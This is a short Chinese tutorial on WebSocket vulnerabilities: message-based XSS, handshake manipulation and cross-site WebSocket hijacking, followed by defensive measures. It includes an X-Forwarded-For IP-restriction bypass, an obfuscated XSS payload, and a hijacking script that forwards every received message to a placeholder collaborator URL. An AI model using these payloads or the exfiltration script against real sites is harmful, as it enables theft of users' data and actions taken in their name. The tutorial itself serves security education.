一、WebSocket 简单介绍
WebSockets广泛用于现代Web应用程序。它们通过 HTTP 启动,并提供具有双向异步通信的长期连接。
WebSocket 用于各种目的,包括执行用户操作和传输敏感信息。事实上常规HTTP引起的任何Web安全漏洞也可能与WebSockets通信有关。
二、WebSocket 漏洞利用过程
1、操纵 WebSocket 消息以利用XSS漏洞
2、操纵 WebSocket 握手通过混淆利用XSS漏洞
某些 WebSocket 漏洞只能通过操纵 WebSocket 握手来发现和利用。
(1)绕过IP限制:X-Forwarded-For: 1.1.1.1
(2)采用混淆进行绕过:<img src=1 oNeRrOr=alert`1`>
3、通过跨站点漏洞 WebSocket 劫持
如果 WebSocket 握手请求容易受到 CSRF 的攻击,则攻击者的网页可以执行跨站点请求以在易受攻击的站点上打开 WebSocket。攻击中接下来发生的情况完全取决于应用程序的逻辑以及它如何使用 WebSocket。攻击可能涉及:
(1)发送 WebSocket 消息以代表受害用户执行未经授权的操作。
(2)发送 WebSocket 消息以检索敏感数据。
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
三、WebSocket 漏洞防御措施
1、使用协议(基于 TLS 的 WebSockets)。wss://
2、对 WebSockets 终结点的 URL 进行硬编码,当然不要将用户可控制的数据合并到此 URL 中。
3、保护 WebSocket 握手消息免受 CSRF 的影响,避免跨站点 WebSocket 劫持漏洞。
4、将通过 WebSocket 接收的数据视为双向不受信任的数据。在服务器端和客户端安全地处理数据,以防止基于输入的漏洞,例如 SQL 注入和跨站点脚本。